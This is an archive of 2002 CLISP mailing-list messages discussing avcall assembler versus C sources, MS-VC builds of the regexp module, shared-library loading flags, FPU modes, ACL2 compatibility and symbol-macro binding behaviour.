ZWQoSEFWRV9TRVRGUFVDVykpICYmICFkZWZpbmVkKEhQUEEpCiAKICMgRGFtaXQgRGl2aXNpb24g ZHVyY2ggMC4wIGVpbiBOYU4gdW5kIGtlaW4gU0lHRlBFIGxpZWZlcnQ6CiAjIEVudHdlZGVyIG1p dCAtbGllZWUgbGlua2VuLAo= --------------Boundary-00=_6DYB8N21RL3Y3TSEYPF2-- From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 10 01:53:36 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vDrC-0003Bv-00 for ; Wed, 10 Apr 2002 01:53:35 -0700 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 10:51:55 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 10 Apr 2002 10:53:14 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] some background about avcall-i386/m68k/etc.c Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 01:54:03 2002 X-Original-Date: Wed, 10 Apr 2002 10:46:32 +0200 Hi, these are my comments on the topic. I can only speak facts for *-m68k-amiga.[cs]. AFAIK, Bruno Haible wrote most of the others. However, -m68k-* is in some parts representative of the others. 1. We used the assembler files for lack of C compiler stability. We were tired of verifying the code after every new release of GCC which did different optimizations and broke the very sensible mixture of C and __asm__ statements. > I don't suppose it really matters, and there _may_ be something wrong > with compiling with the c file that I don't know about. Really, doing what avcall etc. do in C is next to not doable. And it's not strictly C, witness all the __asm__() statements therein. > Another advantage to using the .c file is you can follow Clisp into > avcall on gdb - well, you can do it with the .s file too, but > assembler is ... assembler. IMHO, if you plan to follow the debugger on avcall, you should know assembler. I consider the C code more like a schema of what the code is supposed to do. It gives you the frame (e.g. pulling args) from which you work on the core (filling registers and calling the function). 2. I believe some of our usage of __asm__() for register allocation was not covered by the GNU-C team. Worse - IIRC - they expressly said we cannot rely on this. It worked though, for our purposes. Do you want to rely on C + __asm__() code of which the compiler maintainers state it's unsupported? 3. Working assembler code was first, C afterwards. It was an iterative cycle, trying to find out C code which, when compiled, would produce working code. It very much depends on the compiler switches and version. That's why comments say "Must be compiled with -O, while -fomit-frame-pointer is forbidden / necessary". Creating the C file was not a "let's write it from scratch in C". For instance, Bruno's initial attempt at m68k.c was subtly broken (bad stack layout, i.e. ordering on things on the stack prior to foreign function call). By nature then, the necessary C code may change at the next compiler generation. The assembly code wouldn't change. Which would you choose? The good news is, using the C code allows you to send bug reports earlier to the GCC or other compiler maintainers... :-) I consider the C code as the documentation of the assembly code. 3. We had to work with different assembler syntaxes. The GNU as uses the so called MIT syntax - e.g. a6@ -, while all others use the Motorola syntax - (a6) - for the m680x0 processor. The solution (typical of CLISP) was to add preprocessing to assembly files. I see similar similar things done in e.g. asmi386.h BTW, GNU-as was not stable either. We moved from gcc+-as-1.39/40 to gcc-2, the object format moved from UNIX a.out to xyz, GNU-as started using the BFD library (for better or worse), gcc + gas integrated patches as reported etc. > grep -v '^ *#line' | > grep -v '^#ident' | grep -v '^#' | sed -e 's,% ,%,g' 4. .s output from gcc (possibly others, maybe just -verbose output, #ident maybe Sun cc) may contain #lines (IIRC) directives which enable the assembler to refer to errors by line number in the C source file. Also, gcc wraps it's own assembly code around #NO_APP and __asm__() with #APP 5. sed -e 's,% ,%,g' This looks like a cure to the following: An extra space is introduced by ANSI-C preprocessors around #define expansions (or is it # or ## token pasting?), which was not the case for K&R preprocessors. 6. sed with $ and % IIRC, various assemblers wanted various prefixes in front of identifiers from C code or labels (or was it the prefix for registers?). What I believe could work is this: o Somebody knowledgeable of a given platform and assembler takes responsibility ("maintains") the corresponding {avcall,vacall,trampoline}-arch.[cs] + makes it work, + guarantees it works + and makes claims about the stability w.r.t. compiler changes of the code. o somebody manages to manage the team of n people and 3n different implementations. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 10 02:55:27 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vEp2-0003ny-00 for ; Wed, 10 Apr 2002 02:55:25 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 11:53:51 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 10 Apr 2002 11:55:09 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] now you can use the regexp module on MS-Windows MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 02:56:10 2002 X-Original-Date: Wed, 10 Apr 2002 11:55:09 +0200 Sam wrote: > actually, the Emacs version does not cut it. Pardon my poor english? That means you don't like the regexp library that's part of Emacs? modules/regexp/README actually says: "The library routines regex.[ch] come from the GNU findutils-4.1." > please try the glibc version (attached, from the glibc 2.2.5 dist) [oops, 260KB to the list] It's no better at all w.r.t. to alloca() for M$-VC, witness: /* Make alloca work the best possible way. */ # ifdef __GNUC__ # define alloca __builtin_alloca # else /* not __GNUC__ */ # if HAVE_ALLOCA_H # include # endif /* HAVE_ALLOCA_H */ # endif /* not __GNUC__ */ # endif /* not alloca */ There's no alloca.h include file with (at least my) MS-VC 6.x So we're left with few choices: 1. change modules/regexp/regex.c as by my patch, or 2. recommend MS-VC users to create alloca.h *and* compile with -DHAVE_ALLOCA_H 3. beg Emacs/FSF/Lignux-libc/xyz-people to care for MS-VC and incorporate patch In any case: 0. document problem and patch probably needed within CLISP, .a either modules/regexp/README .b or win32msvc/INSTALL I'd favour 0b+1!+2 as I have few hopes for 3. It would be interesting to know whether the Intel C compiler (icc) provides alloca. I suppose no Linux/Free-/Open-/NetBSD (UNIX) user is interested by MS-VC, but icc is another issue. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 10 04:33:08 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vGLY-0003JF-00 for ; Wed, 10 Apr 2002 04:33:05 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 13:31:31 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 10 Apr 2002 13:32:49 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] dynamic loading of shared libraries/objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 04:34:05 2002 X-Original-Date: Wed, 10 Apr 2002 13:32:44 +0200 Hi, Peter Wood wrote: > I needed to add -DHAVE_DLOPEN to the CFLAGS for compiling sysdll.c, > (otherwise, although it compiled fine, #'foreign-library would not > work.). Blame sysdll.c for providing empty stubs when no good -D is provided. The need for the right #define for every UNIX platform should be ripped off from XEmacs autoconf and ac.local.macros (or whatever) and be put into the config.h generator (is that ./configure?) to complete the support for UNIX. Could somebody on UNIX please do this? BTW, XEmacs has a newer sysdll.[ch] than on Reini's site: I then need fewer -Dxyz (but others), witness my makefile.msvc now reads: # http://cvs.xemacs.org/viewcvs.cgi/XEmacs/xemacs/src/sysdll.c # don't -DUNICODE sysdll.c via CFLAGS or you'll get LoadLibraryW(), not -A sysdll.obj : sysdll.c sysdll.h $(CC) -DHAVE_SHLIB -DWIN32_NATIVE $(CFLAGS) -UUNICODE -c sysdll.c I now use sysdll-1.7.c and sysdll-1.3.h from XEmacs CVS Regards, Jorg Hohle. From rurban@x-ray.at Wed Apr 10 07:02:54 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16vIgT-0007ak-00 for ; Wed, 10 Apr 2002 07:02:49 -0700 Received: from [62.46.164.173] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 16vIgL-00043x-00 for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 16:02:42 +0200 Message-ID: <3CB445FE.767EC252@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] dynamic loading of shared libraries/objects References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 07:05:00 2002 X-Original-Date: Wed, 10 Apr 2002 14:02:38 +0000 "Hoehle, Joerg-Cyril" schrieb: > BTW, XEmacs has a newer sysdll.[ch] than on Reini's site: > I then need fewer -Dxyz (but others), witness my makefile.msvc now reads: > > # http://cvs.xemacs.org/viewcvs.cgi/XEmacs/xemacs/src/sysdll.c > # don't -DUNICODE sysdll.c via CFLAGS or you'll get LoadLibraryW(), not -A but then you cannot load foreign libraries on win32 (namely japanese, chinese, ... filenames), which you should be able to do on the new mule xemacs, ben wing is currently preparing. I wouldn't seperately mess with -D or -U UNICODE. the clisp config.h version should be used instead. otherwise filenames and strings cannot be copied from/to sysdll. > I now use sysdll-1.7.c and sysdll-1.3.h from XEmacs CVS The current version is quite unstable IMHO, considering the unicode and mule changes. I believe this will be settled after this summer. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From samuel.steingold@verizon.net Wed Apr 10 07:28:08 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vJ4u-0004kw-00 for ; Wed, 10 Apr 2002 07:28:04 -0700 Received: from gnu.org ([151.203.48.85]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020410142753.GYST4773.out001.verizon.net@gnu.org>; Wed, 10 Apr 2002 09:27:53 -0500 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FPU_IEEE and clisp References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 07:31:28 2002 X-Original-Date: 10 Apr 2002 10:28:19 -0400 > * In message > * On the subject of "[clisp-list] FPU_IEEE and clisp" > * Sent on Wed, 10 Apr 2002 02:39:07 +0100 > * Honorable Will Newton writes: > > clisp sets the FPU mode to _FPU_IEEE (using functions from > fpu_control.h). Why does it do this, and what specifc features are CLISP needs full control over the FP operations (i.e., no signals should be raised, CLISP handles everything.) > required? glibc on hppa does not have _FPU_IEEE, and it seems that > fenv.h is the recommended way top control the FPU mode. Maybe if I > know what I am trying to do I can set the FPU mode through fenv.h > instead. please go ahead. See also for a related bug. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Failure is not an option. It comes bundled with your Microsoft product. From samuel.steingold@verizon.net Wed Apr 10 07:32:54 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vJ9W-0005x4-00 for ; Wed, 10 Apr 2002 07:32:50 -0700 Received: from gnu.org ([151.203.48.85]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020410143245.MERQ13286.out019.verizon.net@gnu.org>; Wed, 10 Apr 2002 09:32:45 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] now you can use the regexp module on MS-Windows References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 58 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 07:34:28 2002 X-Original-Date: 10 Apr 2002 10:33:08 -0400 > * In message > * On the subject of "[clisp-list] now you can use the regexp module on MS-Windows" > * Sent on Wed, 10 Apr 2002 11:55:09 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > > actually, the Emacs version does not cut it. > Pardon my poor english? That means you don't like the regexp library > that's part of Emacs? it does not compile without Emacs out of the box. > > please try the glibc version (attached, from the glibc 2.2.5 dist) > [oops, 260KB to the list] sorry. RMS actually recommends using the GLIBC version with CLISP. > It's no better at all w.r.t. to alloca() for M$-VC, witness: > > /* Make alloca work the best possible way. */ > # ifdef __GNUC__ > # define alloca __builtin_alloca > # else /* not __GNUC__ */ > # if HAVE_ALLOCA_H > # include > # endif /* HAVE_ALLOCA_H */ > # endif /* not __GNUC__ */ > > # endif /* not alloca */ > > There's no alloca.h include file with (at least my) MS-VC 6.x Joerg, please submit your patch to the glibc developers. > So we're left with few choices: > 1. change modules/regexp/regex.c as by my patch, or > 2. recommend MS-VC users to create alloca.h *and* compile with -DHAVE_ALLOCA_H > 3. beg Emacs/FSF/Lignux-libc/xyz-people to care for MS-VC and incorporate patch > > In any case: > 0. document problem and patch probably needed within CLISP, > .a either modules/regexp/README > .b or win32msvc/INSTALL > > I'd favour 0b+1!+2 as I have few hopes for 3. I am pretty sure your patch will be accepted by the GLIBC people (especially if you accompany it with a standard ChangeLog entry). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! All extremists should be taken out and shot. From will@misconception.org.uk Wed Apr 10 07:36:28 2002 Received: from mail4.svr.pol.co.uk ([195.92.193.211]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vJCy-0006ca-00 for ; Wed, 10 Apr 2002 07:36:24 -0700 Received: from modem-464.duckdive.dialup.pol.co.uk ([62.25.153.208] helo=there) by mail4.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16vJCs-0006ni-00 for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 15:36:18 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FPU_IEEE and clisp X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 07:39:01 2002 X-Original-Date: Wed, 10 Apr 2002 15:37:44 +0100 On Wednesday 10 Apr 2002 3:28 pm, you wrote: > please go ahead. > See also > 355&atid=101355> for a related bug. Hmm, once I get hppa building I'll look into this. From marcoxa@cs.nyu.edu Wed Apr 10 08:00:54 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vJad-0003U7-00 for ; Wed, 10 Apr 2002 08:00:51 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g3AF0jC15191; Wed, 10 Apr 2002 11:00:45 -0400 Message-Id: <200204101500.g3AF0jC15191@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: iclarksn@tpg.com.au CC: clisp-list@lists.sourceforge.net In-reply-to: <3CB36D79.8090106@tpg.com.au> (message from Ian Clarkson on Wed, 10 Apr 2002 08:38:49 +1000) Subject: Re: [clisp-list] Running ACL2 under clisp References: <3CB36D79.8090106@tpg.com.au> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 08:08:29 2002 X-Original-Date: Wed, 10 Apr 2002 11:00:45 -0400 > From: Ian Clarkson > Reply-To: iclarksn@tpg.com.au > User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010914 > X-Accept-Language: en-us > Content-Type: text/plain; charset=us-ascii; format=flowed > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.9-sf.net > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > X-Original-Date: Wed, 10 Apr 2002 08:38:49 +1000 > Date: Wed, 10 Apr 2002 08:38:49 +1000 > Content-Length: 1214 > > Dear Dr Haible, > > Firstly, thanks for making your very useful language available. > > I wish to know whether it is possible to run the theorem-proving system > ACL2 under clisp. When I tried to do this, I got the following message > almost immediately: > > "We are trying to initialize the parameter that specifies the > file extension name used by the local compiler. For example, in > Allegro Common Lisp, the extension is "fasl" while in Lucid > it is "lbin" or "sbin". Files with such extensions are understood > to contain compiled code. We do not recognize this Common Lisp > from its *features*. Please type as a STRINGP suitable for READ > its compiled file extension name: > > It has to READ as a STRINGP! Put quotation marks around it:" > > (This message originates in the ACL2 source, of course.) > > The version of ACL2 (which is the only one I have succeeded in > obtaining) is 1.9. I obtained it by ftp from dirleton.csres.utexas.edu. > > This version of ACL2 works under gcl, but I like clisp better! > > I would appreciate your help. The problem seems to be with the underlying assumption by the ACL2 writers that the system must run under GCL. The above error message is clearly from a pre CLtL2 and ANSI era, where COMPILED-FILE-PATHNAME gives you the right information. I bet you could go in the ACL2 code and excise all that initialization code by replacing it with a call to COMPILED-FILE-PATHNAME or to cl.env:compiled-file-extension from the CL-ENVIRONMENT library in the CLOCC. In alternanative, you can use the CLOCC "port" package. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From peter.wood@worldonline.dk Wed Apr 10 08:22:40 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vJvi-0007FA-00 for ; Wed, 10 Apr 2002 08:22:38 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 29375B7E6 for ; Wed, 10 Apr 2002 17:22:35 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3AEq0N00234 for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 16:52:00 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] some background about avcall-i386/m68k/etc.c Message-ID: <20020410165200.A131@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Wed, Apr 10, 2002 at 10:46:32AM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 08:23:05 2002 X-Original-Date: Wed, 10 Apr 2002 16:52:00 +0200 Hi, On Wed, Apr 10, 2002 at 10:46:32AM +0200, Hoehle, Joerg-Cyril wrote: > these are my comments on the topic. Thanks for replying to my question. The issues which you address should be documented in avcall, so users don't have to guess. I see no insistence in the c file comments that the s file must be used. On the contrary, the comment for avcall-1386.c says: 'Compile this routine with gcc -O (or -O2 -fno-omit-frame-pointer or -g -O) to get the right register variables. For other compilers use the pre-compiled assembler version.' > > 1. We used the assembler files for lack of C compiler stability. We were tired of verifying the code after every new release of GCC which did different optimizations and broke the very sensible mixture of C and __asm__ statements. > > > I don't suppose it really matters, and there _may_ be something wrong > > with compiling with the c file that I don't know about. > > Really, doing what avcall etc. do in C is next to not doable. And it's not strictly C, witness all the __asm__() statements therein. In avcall-1386.c there are three __asm__ statements. I would say that its quite doable in c, with a bit of tweaking to get at the stack and 2 registers. At least on x86 Linux. > > > Another advantage to using the .c file is you can follow Clisp into > > avcall on gdb - well, you can do it with the .s file too, but > > assembler is ... assembler. > IMHO, if you plan to follow the debugger on avcall, you should know assembler. Why? I compiled with avcall-i386.c and have been following it with gdb. What is wrong with this approach. > 2. I believe some of our usage of __asm__() for register allocation > was not covered by the GNU-C team. Worse - IIRC - they expressly said > we cannot rely on this. It worked though, for our purposes. The fact that its apparently _still_ working, would suggest it is reasonably safe. > > Do you want to rely on C + __asm__() code of which the compiler > maintainers state it's unsupported? Well, when code which was last *tweaked* 2! years ago (according to Sourceforge cvs) compiles out of the box, apparently without breaking anything, I would call that reasonable stability. I note also that the comment for many of the assembler files in the cvs is 'regenerated with gcc-2.95.2' (including avcall-m68k-amiga.s!!) so I doubt wether this is the hand coded assembler you remember. > 3. Working assembler code was first, C afterwards. It was an iterative cycle, trying to find out C code which, when compiled, would produce working code. It very much depends on the compiler switches and version. That's why comments say "Must be compiled with -O, while -fomit-frame-pointer is forbidden / necessary". Creating the C file was not a "let's write it from scratch in C". This is interesting as an historical note on how the c files were arrived at, but its not a good argument for not using the c files today, if they are reasonably stable. (See cvs comments on 'regenerated with gcc' for the various versions) avcall-i386.c may have been a devil to arrive at, but its reasonably clean and clear and understandable today. > > I consider the C code as the documentation of the assembly code. Then say so in the documentation/comments. > > 3. We had to work with different assembler syntaxes. > The GNU as uses the so called MIT syntax - e.g. a6@ -, while all others use > the Motorola syntax - (a6) - for the m680x0 processor. > > The solution (typical of CLISP) was to add preprocessing to assembly files. > I see similar similar things done in e.g. asmi386.h > > BTW, GNU-as was not stable either. > We moved from gcc+-as-1.39/40 to gcc-2, the object format moved from UNIX a.out to xyz, GNU-as started using the BFD library (for better or worse), gcc + gas integrated patches as reported etc. This is a long time ago. Maybe the ground under our feet is a bit more solid today? The whole a.out move time is notorious. Even I have heard the horror stories. > What I believe could work is this: > o Somebody knowledgeable of a given platform and assembler takes responsibility ("maintains") the corresponding {avcall,vacall,trampoline}-arch.[cs] > + makes it work, > + guarantees it works This is free software. Don't ask for (and don't give) guarantees... Wait... remove 'free' from the line above [with sed, grep and cpp if necessary :-).] > + and makes claims about the stability w.r.t. compiler changes of the code. > o somebody manages to manage the team of n people and 3n different implementations. > These requirements are completely unreasonable, Joerg. Noone can ever make such claims about avcall, or any other software. I think people should test the c versions and if they work, they should be used. If/When stuff breaks with a new compiler, then it will get fixed, if anyone needs it to work.. Noone is forced to move to a new compiler. You can also have more than one compiler, if necessary. (It works for RedHat) Regards, Peter From peter.wood@worldonline.dk Wed Apr 10 08:22:40 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vJvi-0007F6-00 for ; Wed, 10 Apr 2002 08:22:38 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id BD890B793 for ; Wed, 10 Apr 2002 17:22:34 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3AF9MR00279 for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 17:09:22 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020410170922.A268@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] to_preload (re the package bug) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 08:23:07 2002 X-Original-Date: Wed, 10 Apr 2002 17:09:22 +0200 Hi I discovered this in impnotes (Extensions 2.2 External Modules): TO_PRELOAD (optional) The space seperated list of lisp files to load into an intermediate lispinit.mem before building the lsipinit.mem belonging to a new linking set. This var is usually used for defining lisp packages which must be present when the new .c files are initialized. May I suggest, Sam, that you explicitly state that TO_PRELOAD must be set if the module contains a def-call-in (no longer optional), and link to the example with def-call-in. (sort2), so that (especially new) users who don't read clisp-list will be able to build the example. I have tested using TO_PRELOAD and it works. Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 10 08:43:53 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16vKGF-0002DN-00 for ; Wed, 10 Apr 2002 08:43:52 -0700 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 10 Apr 2002 17:42:23 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 10 Apr 2002 17:43:42 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] LET + custom:*x-encoding* (symbol macro) question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 10 08:44:22 2002 X-Original-Date: Wed, 10 Apr 2002 17:43:41 +0200 Hi, is the following behaviour to be considered a bug? (defun test-sml () (describe (sys::foreign-encoding)) (let ((custom:*foreign-encoding* (ext:make-encoding :charset = 'charset:mac-turkish))) (describe custom:*foreign-encoding*) (describe (sys::foreign-encoding))) (describe (sys::foreign-encoding))) (test-sml) # is an encoding. # is an encoding. # is an encoding. <-!? # is an encoding. What is at question here is how transparent are symbol macros? The normal way to temporarily bind specials is by LET. Should that = still be the case with symbol-macros, e.g. should the user know that = some variable is not a normal special, but rather a symbol macro? Why have symbol macros if they can't remain well hidden? Should the compiler recognize symbol macros, and generate code equivalent to macros3.lisp:LETF for them, or not? [42]> (describe 'custom:*foreign-encoding*) *FOREIGN-ENCODING* is the symbol *FOREIGN-ENCODING*, lies in #, is accessible in the packages COMMON-LISP-USER, CUSTOM, EXT, = FFI,=20 LDAP, SCREEN, SYSTEM, a variable (macro: (SYSTEM::FOREIGN-ENCODING)), = value:=20 #. For more information, evaluate (MACROEXPAND-1 '*FOREIGN-ENCODING*). # is the package named CUSTOM. 